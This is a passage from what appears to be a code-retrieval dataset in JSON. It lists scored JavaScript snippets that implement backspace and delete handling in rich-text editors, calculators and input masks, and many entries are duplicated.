isTextBlock(sibling) && dom.isEmpty(sibling)) {\n\t\t\t\t\t\tif (cloneTextBlockWithFormats(blockElm, container)) {\n\t\t\t\t\t\t\tdom.remove(sibling);\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else if (container.nodeType == 3) {\n\t\t\t\t\tpath = NodePath.create(blockElm, container);\n\t\t\t\t\tclonedBlockElm = blockElm.cloneNode(true);\n\t\t\t\t\tcontainer = NodePath.resolve(clonedBlockElm, path);\n\n\t\t\t\t\tif (isForward) {\n\t\t\t\t\t\tif (offset >= container.data.length) {\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tcontainer.deleteData(offset, 1);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (offset <= 0) {\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tcontainer.deleteData(offset - 1, 1);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (dom.isEmpty(clonedBlockElm)) {\n\t\t\t\t\t\treturn cloneTextBlockWithFormats(blockElm, container);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}", "title": "" } ]
[ { "docid": "788776e11bb0ef9d7a98248b70c190a3", "score": "0.7018067", "text": "backspace() {\n\t\t\tthis.mutate(this.value.slice(0, this.value.length - 1));\n\t\t}", "title": "" }, { "docid": "45c5d71a319e651dff2b585a1d404ab5", "score": "0.6897332", "text": "function keyCommandPlainBackspace(editorState){var afterRemoval=removeTextWithStrategy(editorState,function(strategyState){var selection=strategyState.getSelection();var content=strategyState.getCurrentContent();var key=selection.getAnchorKey();var offset=selection.getAnchorOffset();var charBehind=content.getBlockForKey(key).getText()[offset-1];return moveSelectionBackward(strategyState,charBehind?UnicodeUtils.getUTF16Length(charBehind,0):1);},'backward');if(afterRemoval===editorState.getCurrentContent()){return editorState;}var selection=editorState.getSelection();return EditorState.push(editorState,afterRemoval.set('selectionBefore',selection),selection.isCollapsed()?'backspace-character':'remove-range');}", "title": "" }, { "docid": "110c974171772da622b35356b3a43946", "score": "0.67977405", "text": "function backspace() {\n if (calcVals.cur.length > 0) {\n calcVals.cur = calcVals.cur.substring(0, calcVals.cur.length - 1);\n }\n if (calcVals.cur.length === 0) {\n calcVals.cur = \"0\";\n }\n calcVals.prevAttr = \"filler\";\n}", "title": "" }, { "docid": "e897a39523832c49b9019e69e5c7e3e4", "score": "0.6679396", "text": "function keyCommandPlainBackspace(editorState) {\n\t var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n\t var selection = strategyState.getSelection();\n\t var content = strategyState.getCurrentContent();\n\t var key = selection.getAnchorKey();\n\t var offset = selection.getAnchorOffset();\n\t var charBehind = content.getBlockForKey(key).getText()[offset - 1];\n\t return moveSelectionBackward(strategyState, charBehind ? UnicodeUtils.getUTF16Length(charBehind, 0) : 1);\n\t }, 'backward');\n\n\t if (afterRemoval === editorState.getCurrentContent()) {\n\t return editorState;\n\t }\n\n\t var selection = editorState.getSelection();\n\t return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'backspace-character' : 'remove-range');\n\t}", "title": "" }, { "docid": "d4a3cd94e16af2fc7b199722ea5aabed", "score": "0.66748923", "text": "function deletesingle() {\r\n backspaceValue = form.display.value;\r\n form.display.value = backspaceValue.substr(0, backspaceValue.length - 1);\r\n}", "title": "" }, { "docid": "01da5333334a545b41b456144f706ca0", "score": "0.666913", "text": "function keyCommandPlainBackspace(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charBehind = content.getBlockForKey(key).getText()[offset - 1];\n return moveSelectionBackward(strategyState, charBehind ? UnicodeUtils.getUTF16Length(charBehind, 0) : 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'backspace-character' : 'remove-range');\n}", "title": "" }, { "docid": "01da5333334a545b41b456144f706ca0", "score": "0.666913", "text": "function keyCommandPlainBackspace(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charBehind = content.getBlockForKey(key).getText()[offset - 1];\n return moveSelectionBackward(strategyState, charBehind ? UnicodeUtils.getUTF16Length(charBehind, 0) : 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'backspace-character' : 'remove-range');\n}", "title": "" }, { "docid": "01da5333334a545b41b456144f706ca0", "score": "0.666913", "text": "function keyCommandPlainBackspace(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charBehind = content.getBlockForKey(key).getText()[offset - 1];\n return moveSelectionBackward(strategyState, charBehind ? UnicodeUtils.getUTF16Length(charBehind, 0) : 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'backspace-character' : 'remove-range');\n}", "title": "" }, { "docid": "01da5333334a545b41b456144f706ca0", "score": "0.666913", "text": "function keyCommandPlainBackspace(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charBehind = content.getBlockForKey(key).getText()[offset - 1];\n return moveSelectionBackward(strategyState, charBehind ? UnicodeUtils.getUTF16Length(charBehind, 0) : 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'backspace-character' : 'remove-range');\n}", "title": "" }, { "docid": "01da5333334a545b41b456144f706ca0", "score": "0.666913", "text": "function keyCommandPlainBackspace(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charBehind = content.getBlockForKey(key).getText()[offset - 1];\n return moveSelectionBackward(strategyState, charBehind ? UnicodeUtils.getUTF16Length(charBehind, 0) : 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'backspace-character' : 'remove-range');\n}", "title": "" }, { "docid": "01da5333334a545b41b456144f706ca0", "score": "0.666913", "text": "function keyCommandPlainBackspace(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charBehind = content.getBlockForKey(key).getText()[offset - 1];\n return moveSelectionBackward(strategyState, charBehind ? UnicodeUtils.getUTF16Length(charBehind, 0) : 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'backspace-character' : 'remove-range');\n}", "title": "" }, { "docid": "01da5333334a545b41b456144f706ca0", "score": "0.666913", "text": "function keyCommandPlainBackspace(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charBehind = content.getBlockForKey(key).getText()[offset - 1];\n return moveSelectionBackward(strategyState, charBehind ? UnicodeUtils.getUTF16Length(charBehind, 0) : 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'backspace-character' : 'remove-range');\n}", "title": "" }, { "docid": "01da5333334a545b41b456144f706ca0", "score": "0.666913", "text": "function keyCommandPlainBackspace(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charBehind = content.getBlockForKey(key).getText()[offset - 1];\n return moveSelectionBackward(strategyState, charBehind ? UnicodeUtils.getUTF16Length(charBehind, 0) : 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'backspace-character' : 'remove-range');\n}", "title": "" }, { "docid": "01da5333334a545b41b456144f706ca0", "score": "0.666913", "text": "function keyCommandPlainBackspace(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charBehind = content.getBlockForKey(key).getText()[offset - 1];\n return moveSelectionBackward(strategyState, charBehind ? UnicodeUtils.getUTF16Length(charBehind, 0) : 1);\n }, 'backward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'backspace-character' : 'remove-range');\n}", "title": "" }, { "docid": "3b1ba88f495956b0434aa618e53b1917", "score": "0.6549376", "text": "function undoOneLetter(){\n if(calculation.length>0){\n calculation = calculation.slice(0, -1) //delete last char\n }\n}", "title": "" }, { "docid": "2482f84c545e808fea34f03352c71690", "score": "0.65491885", "text": "function backspace() {\n if (text.length > 0) {\n if (text[text.length - 1] === \" \") {text = text.slice(0, -1)}\n text = text.slice(0, -1)\n setInnerHTML(text)\n }\n}", "title": "" }, { "docid": "0bdea4b4b383346ab23ed10a751e5625", "score": "0.65107423", "text": "function backspace() {\n //\n console.log(output.innerText)\n \n if(output.innerText !== 'Infinity' && output.innerText !== 'Invalid Input' && output.innerText.length > 1){\n output.innerText = output.innerText.substring(0, output.innerText.length - 1)\n }else clearScreen()\n}", "title": "" }, { "docid": "1c4284191e13748f8fc80ce73f426d12", "score": "0.65025616", "text": "backspace(e) {\n this.setValue(this.el.getAttribute('text').value.slice(0, -1), {update: false})\n }", "title": "" }, { "docid": "fafa3dfa552eca06cdb2d9d8e1c24280", "score": "0.6349126", "text": "backspace() {\n if (isNaN(this.getLastOperator())) return;\n let lastNumber = this.getLastPosition(false).toString().split(\"\");\n lastNumber.pop()\n let NewNumber = lastNumber.join('');\n this.setLastOperator(NewNumber);\n this.updateDisplay();\n }", "title": "" }, { "docid": "ac982047499c34616f66c5a381e41548", "score": "0.62149423", "text": "_strip(e) {\n\t\te.preventDefault();\n let text = e.clipboardData.getData(\"text/plain\");\n text = text.substring(0, 70);\n document.execCommand(\"insertHTML\", false, text);\n\t}", "title": "" }, { "docid": "676c5e0d4578375b1f5527c12f663a62", "score": "0.6190405", "text": "function delChar() {\n let code = $(\"code1\").innerText;\n console.log(`|${code}|`);\n if(code.length != 0) {\n $(\"code1\").innerText = code.substring(0, code.length-1);\n code = $(\"code1\").innerText;\n }\n }", "title": "" }, { "docid": "817138d02e969453ee2557457b34e031", "score": "0.61373085", "text": "function backspace(str){\n\t\t//prevents NaN input\n\t\tif(str === '0') return '0';\n\t\treturn str.substring(0, str.length-1);;\n\t}", "title": "" }, { "docid": "935c87be664f7b4e09cc27ca04bf7cae", "score": "0.6137078", "text": "function keyCommandPlainDelete(editorState){var afterRemoval=removeTextWithStrategy(editorState,function(strategyState){var selection=strategyState.getSelection();var content=strategyState.getCurrentContent();var key=selection.getAnchorKey();var offset=selection.getAnchorOffset();var charAhead=content.getBlockForKey(key).getText()[offset];return moveSelectionForward(strategyState,charAhead?UnicodeUtils.getUTF16Length(charAhead,0):1);},'forward');if(afterRemoval===editorState.getCurrentContent()){return editorState;}var selection=editorState.getSelection();return EditorState.push(editorState,afterRemoval.set('selectionBefore',selection),selection.isCollapsed()?'delete-character':'remove-range');}", "title": "" }, { "docid": "e775612eb88215c03383f65a522bea1d", "score": "0.6136601", "text": "function keyCommandBackspaceWord(editorState){var afterRemoval=removeTextWithStrategy(editorState,function(strategyState){var selection=strategyState.getSelection();var offset=selection.getStartOffset();// If there are no words before the cursor, remove the preceding newline.\r\n\tif(offset===0){return moveSelectionBackward(strategyState,1);}var key=selection.getStartKey();var content=strategyState.getCurrentContent();var text=content.getBlockForKey(key).getText().slice(0,offset);var toRemove=DraftRemovableWord.getBackward(text);return moveSelectionBackward(strategyState,toRemove.length||1);},'backward');if(afterRemoval===editorState.getCurrentContent()){return editorState;}return EditorState.push(editorState,afterRemoval,'remove-range');}", "title": "" }, { "docid": "c8d669d915f379d24b96ef74117d2474", "score": "0.6121558", "text": "clearLastChar() {\r\n const { displayValue } = this.state\r\n\r\n this.setState({\r\n displayValue: displayValue.substring(0, displayValue.length - 1) || ''\r\n })\r\n }", "title": "" }, { "docid": "c1afa5814d279ada90b1fb18167267b4", "score": "0.61137146", "text": "function backSpace() {\n calculation.textContent = calculation.textContent.slice(0, -1);\n return;\n}", "title": "" }, { "docid": "eebef3f0deb026a71d74302132a9c26e", "score": "0.6087026", "text": "function keyCommandPlainDelete(editorState) {\n\t var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n\t var selection = strategyState.getSelection();\n\t var content = strategyState.getCurrentContent();\n\t var key = selection.getAnchorKey();\n\t var offset = selection.getAnchorOffset();\n\t var charAhead = content.getBlockForKey(key).getText()[offset];\n\t return moveSelectionForward(strategyState, charAhead ? UnicodeUtils.getUTF16Length(charAhead, 0) : 1);\n\t }, 'forward');\n\n\t if (afterRemoval === editorState.getCurrentContent()) {\n\t return editorState;\n\t }\n\n\t var selection = editorState.getSelection();\n\n\t return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'delete-character' : 'remove-range');\n\t}", "title": "" }, { "docid": "45a0c9b005f6c852447eb66ecaaad588", "score": "0.6086156", "text": "function reconsumeCurrentCharacter() {\n charIdx--;\n }", "title": "" }, { "docid": "4a30af84be60e052360b875003e3de28", "score": "0.6077804", "text": "function removeHrOnBackspace() {\n\t\t\teditor.on('keydown', function(e) {\n\t\t\t\tif (!isDefaultPrevented(e) && e.keyCode === BACKSPACE) {\n\t\t\t\t\t// Check if there is any HR elements this is faster since getRng on IE 7 & 8 is slow\n\t\t\t\t\tif (!editor.getBody().getElementsByTagName('hr').length) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (selection.isCollapsed() && selection.getRng(true).startOffset === 0) {\n\t\t\t\t\t\tvar node = selection.getNode();\n\t\t\t\t\t\tvar previousSibling = node.previousSibling;\n\n\t\t\t\t\t\tif (node.nodeName == 'HR') {\n\t\t\t\t\t\t\tdom.remove(node);\n\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (previousSibling && previousSibling.nodeName && previousSibling.nodeName.toLowerCase() === \"hr\") {\n\t\t\t\t\t\t\tdom.remove(previousSibling);\n\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "4a30af84be60e052360b875003e3de28", "score": "0.6077804", "text": "function removeHrOnBackspace() {\n\t\t\teditor.on('keydown', function(e) {\n\t\t\t\tif (!isDefaultPrevented(e) && e.keyCode === BACKSPACE) {\n\t\t\t\t\t// Check if there is any HR elements this is faster since getRng on IE 7 & 8 is slow\n\t\t\t\t\tif (!editor.getBody().getElementsByTagName('hr').length) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (selection.isCollapsed() && selection.getRng(true).startOffset === 0) {\n\t\t\t\t\t\tvar node = selection.getNode();\n\t\t\t\t\t\tvar previousSibling = node.previousSibling;\n\n\t\t\t\t\t\tif (node.nodeName == 'HR') {\n\t\t\t\t\t\t\tdom.remove(node);\n\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (previousSibling && previousSibling.nodeName && previousSibling.nodeName.toLowerCase() === \"hr\") {\n\t\t\t\t\t\t\tdom.remove(previousSibling);\n\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "4a30af84be60e052360b875003e3de28", "score": "0.6077804", "text": "function removeHrOnBackspace() {\n\t\t\teditor.on('keydown', function(e) {\n\t\t\t\tif (!isDefaultPrevented(e) && e.keyCode === BACKSPACE) {\n\t\t\t\t\t// Check if there is any HR elements this is faster since getRng on IE 7 & 8 is slow\n\t\t\t\t\tif (!editor.getBody().getElementsByTagName('hr').length) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (selection.isCollapsed() && selection.getRng(true).startOffset === 0) {\n\t\t\t\t\t\tvar node = selection.getNode();\n\t\t\t\t\t\tvar previousSibling = node.previousSibling;\n\n\t\t\t\t\t\tif (node.nodeName == 'HR') {\n\t\t\t\t\t\t\tdom.remove(node);\n\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (previousSibling && previousSibling.nodeName && previousSibling.nodeName.toLowerCase() === \"hr\") {\n\t\t\t\t\t\t\tdom.remove(previousSibling);\n\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "394ddd4e640e57152c91e3a4598e66ad", "score": "0.6057977", "text": "function reconsumeCurrentCharacter() {\n charIdx--;\n }", "title": "" }, { "docid": "3ed1090636a46ac43046786fe512b735", "score": "0.6057061", "text": "function trimNbspAfterDeleteAndPaddValue() {\n\t\t\t\t\tvar rng, container, offset;\n\n\t\t\t\t\trng = selection.getRng(true);\n\t\t\t\t\tcontainer = rng.startContainer;\n\t\t\t\t\toffset = rng.startOffset;\n\n\t\t\t\t\tif (container.nodeType == 3 && rng.collapsed) {\n\t\t\t\t\t\tif (container.data[offset] === '\\u00a0') {\n\t\t\t\t\t\t\tcontainer.deleteData(offset, 1);\n\n\t\t\t\t\t\t\tif (!/[\\u00a0| ]$/.test(value)) {\n\t\t\t\t\t\t\t\tvalue += ' ';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else if (container.data[offset - 1] === '\\u00a0') {\n\t\t\t\t\t\t\tcontainer.deleteData(offset - 1, 1);\n\n\t\t\t\t\t\t\tif (!/[\\u00a0| ]$/.test(value)) {\n\t\t\t\t\t\t\t\tvalue = ' ' + value;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}", "title": "" }, { "docid": "17463a4c33463c453e09e10c67709c8f", "score": "0.6046369", "text": "function backSpace()\n{\n\t number = number.slice(0,-1);\n\t displayF(number);\n}", "title": "" }, { "docid": "6ff16da1d0d2e83b93f5bcdb77acb421", "score": "0.60236365", "text": "function trimNbspAfterDeleteAndPaddValue() {\n\t\t\tvar rng, container, offset;\n\n\t\t\trng = selection.getRng(true);\n\t\t\tcontainer = rng.startContainer;\n\t\t\toffset = rng.startOffset;\n\n\t\t\tif (container.nodeType == 3 && rng.collapsed) {\n\t\t\t\tif (container.data[offset] === '\\u00a0') {\n\t\t\t\t\tcontainer.deleteData(offset, 1);\n\n\t\t\t\t\tif (!/[\\u00a0| ]$/.test(value)) {\n\t\t\t\t\t\tvalue += ' ';\n\t\t\t\t\t}\n\t\t\t\t} else if (container.data[offset - 1] === '\\u00a0') {\n\t\t\t\t\tcontainer.deleteData(offset - 1, 1);\n\n\t\t\t\t\tif (!/[\\u00a0| ]$/.test(value)) {\n\t\t\t\t\t\tvalue = ' ' + value;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "6ff16da1d0d2e83b93f5bcdb77acb421", "score": "0.60236365", "text": "function trimNbspAfterDeleteAndPaddValue() {\n\t\t\tvar rng, container, offset;\n\n\t\t\trng = selection.getRng(true);\n\t\t\tcontainer = rng.startContainer;\n\t\t\toffset = rng.startOffset;\n\n\t\t\tif (container.nodeType == 3 && rng.collapsed) {\n\t\t\t\tif (container.data[offset] === '\\u00a0') {\n\t\t\t\t\tcontainer.deleteData(offset, 1);\n\n\t\t\t\t\tif (!/[\\u00a0| ]$/.test(value)) {\n\t\t\t\t\t\tvalue += ' ';\n\t\t\t\t\t}\n\t\t\t\t} else if (container.data[offset - 1] === '\\u00a0') {\n\t\t\t\t\tcontainer.deleteData(offset - 1, 1);\n\n\t\t\t\t\tif (!/[\\u00a0| ]$/.test(value)) {\n\t\t\t\t\t\tvalue = ' ' + value;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "616555240b80860a6ac1175c2bdd2bcf", "score": "0.6000068", "text": "function keyCommandPlainDelete(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charAhead = content.getBlockForKey(key).getText()[offset];\n return moveSelectionForward(strategyState, charAhead ? UnicodeUtils.getUTF16Length(charAhead, 0) : 1);\n }, 'forward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'delete-character' : 'remove-range');\n}", "title": "" }, { "docid": "616555240b80860a6ac1175c2bdd2bcf", "score": "0.6000068", "text": "function keyCommandPlainDelete(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charAhead = content.getBlockForKey(key).getText()[offset];\n return moveSelectionForward(strategyState, charAhead ? UnicodeUtils.getUTF16Length(charAhead, 0) : 1);\n }, 'forward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'delete-character' : 'remove-range');\n}", "title": "" }, { "docid": "616555240b80860a6ac1175c2bdd2bcf", "score": "0.6000068", "text": "function keyCommandPlainDelete(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charAhead = content.getBlockForKey(key).getText()[offset];\n return moveSelectionForward(strategyState, charAhead ? UnicodeUtils.getUTF16Length(charAhead, 0) : 1);\n }, 'forward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'delete-character' : 'remove-range');\n}", "title": "" }, { "docid": "616555240b80860a6ac1175c2bdd2bcf", "score": "0.6000068", "text": "function keyCommandPlainDelete(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charAhead = content.getBlockForKey(key).getText()[offset];\n return moveSelectionForward(strategyState, charAhead ? UnicodeUtils.getUTF16Length(charAhead, 0) : 1);\n }, 'forward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'delete-character' : 'remove-range');\n}", "title": "" }, { "docid": "616555240b80860a6ac1175c2bdd2bcf", "score": "0.6000068", "text": "function keyCommandPlainDelete(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charAhead = content.getBlockForKey(key).getText()[offset];\n return moveSelectionForward(strategyState, charAhead ? UnicodeUtils.getUTF16Length(charAhead, 0) : 1);\n }, 'forward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'delete-character' : 'remove-range');\n}", "title": "" }, { "docid": "616555240b80860a6ac1175c2bdd2bcf", "score": "0.6000068", "text": "function keyCommandPlainDelete(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charAhead = content.getBlockForKey(key).getText()[offset];\n return moveSelectionForward(strategyState, charAhead ? UnicodeUtils.getUTF16Length(charAhead, 0) : 1);\n }, 'forward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'delete-character' : 'remove-range');\n}", "title": "" }, { "docid": "616555240b80860a6ac1175c2bdd2bcf", "score": "0.6000068", "text": "function keyCommandPlainDelete(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charAhead = content.getBlockForKey(key).getText()[offset];\n return moveSelectionForward(strategyState, charAhead ? UnicodeUtils.getUTF16Length(charAhead, 0) : 1);\n }, 'forward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'delete-character' : 'remove-range');\n}", "title": "" }, { "docid": "616555240b80860a6ac1175c2bdd2bcf", "score": "0.6000068", "text": "function keyCommandPlainDelete(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charAhead = content.getBlockForKey(key).getText()[offset];\n return moveSelectionForward(strategyState, charAhead ? UnicodeUtils.getUTF16Length(charAhead, 0) : 1);\n }, 'forward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'delete-character' : 'remove-range');\n}", "title": "" }, { "docid": "616555240b80860a6ac1175c2bdd2bcf", "score": "0.6000068", "text": "function keyCommandPlainDelete(editorState) {\n var afterRemoval = removeTextWithStrategy(editorState, function (strategyState) {\n var selection = strategyState.getSelection();\n var content = strategyState.getCurrentContent();\n var key = selection.getAnchorKey();\n var offset = selection.getAnchorOffset();\n var charAhead = content.getBlockForKey(key).getText()[offset];\n return moveSelectionForward(strategyState, charAhead ? UnicodeUtils.getUTF16Length(charAhead, 0) : 1);\n }, 'forward');\n\n if (afterRemoval === editorState.getCurrentContent()) {\n return editorState;\n }\n\n var selection = editorState.getSelection();\n\n return EditorState.push(editorState, afterRemoval.set('selectionBefore', selection), selection.isCollapsed() ? 'delete-character' : 'remove-range');\n}", "title": "" }, { "docid": "60a48907ec92e4e5fdfbf5cb80e2af49", "score": "0.5993998", "text": "function onBackspace(event, change, editor, opts) {\n var value = change.value;\n var startOffset = value.startOffset,\n selection = value.selection;\n\n // Only unwrap...\n // ... with a collapsed selection\n\n if (selection.isExpanded) {\n return undefined;\n }\n\n // ... when at the beginning of nodes\n if (startOffset > 0) {\n return undefined;\n }\n // ... in a list\n var currentItem = (0, _utils.getCurrentItem)(opts, value);\n if (!currentItem) {\n return undefined;\n }\n // ... more precisely at the beginning of the current item\n if (!selection.isAtStartOf(currentItem)) {\n return undefined;\n }\n\n event.preventDefault();\n return (0, _changes.unwrapList)(opts, change);\n}", "title": "" }, { "docid": "c2fececdc51bed833fa2763aaa662b53", "score": "0.59783876", "text": "_deleteHandler(event) {\n const that = this,\n selectionStart = that.$.input.selectionStart,\n selectionEnd = that.$.input.selectionEnd,\n key = event.key;\n\n let newSelectionStart = selectionStart;\n\n that._preventDefault(event);\n\n if (selectionStart === selectionEnd) {\n if (key === 'Backspace') {\n for (let i = selectionStart; i > 0; i--) {\n const maskItem = that._mask[i - 1];\n\n if (maskItem.type === 'mask') {\n newSelectionStart = 